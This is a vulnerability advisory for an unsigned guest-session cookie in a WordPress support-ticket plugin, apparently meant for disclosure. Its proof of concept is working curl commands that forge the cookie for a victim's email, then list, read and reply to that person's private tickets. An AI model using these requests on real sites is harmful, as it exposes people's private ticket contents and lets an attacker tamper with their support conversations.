WP Support Plus Responsive Ticket System <= 9.1.2 – Unauthenticated Support Ticket Access via Session Cookie Forgery | CVE 2026-11875

Description

The plugin does not sign or verify its guest-session cookie, allowing unauthenticated attackers to forge it and impersonate any ticket owner (identified by email address) to read, reply to, and close that person's support tickets.

Proof of Concept

Prerequisites: WP Support Plus Responsive Ticket System 9.1.2 active and set up (installation wizard completed; a published page containing the [wp_support_plus] shortcode configured as the support page; guest tickets allowed, which is the default). At least one ticket exists for a victim email, filed either by a guest or by a logged-in user (logged-in users' tickets store the user's email as guest_email). The attacker is unauthenticated and knows or guesses the victim's email.

1. Forge the unsigned guest-session cookie for the victim's email:
COOKIE=$(printf '%s' '{"type":0,"name":"x","email":"victim@example.com"}' | base64)

2. (Optional) List the victim's tickets via the nopriv, no-nonce AJAX endpoint:
curl -sk "https://victim.example/wp-admin/admin-ajax.php" \
  -b "wpsp_user_session=$COOKIE" \
  --data "action=wpsp_get_tickets&filter[order_by]=t.update_time&filter[orderby_order]=DESC&filter[page]=1"
# Returns the victim's ticket subjects and ids.

3. Read the victim's private ticket and full thread (PII) via the support page:
curl -skL "https://victim.example/support/?page=tickets&section=ticket-list&action=open-ticket&id=TICKET_ID" \
  -b "wpsp_user_session=$COOKIE"
# Renders the full thread content; the page also contains the per-ticket reply/close nonce.

4. (Tamper) Reply into the victim's ticket using the nonce scraped from step 3:
curl -sk "https://victim.example/wp-admin/admin-ajax.php" \
  -b "wpsp_user_session=$COOKIE" \
  --data "action=wpsp_ticket_reply&ticket_id=TICKET_ID&reply_body=INJECTED&nonce=SCRAPED_NONCE"

Negative control: no cookie returns "No Tickets found"; a cookie with a non-matching email returns "Unauthorized access". Verified end-to-end on 9.1.2.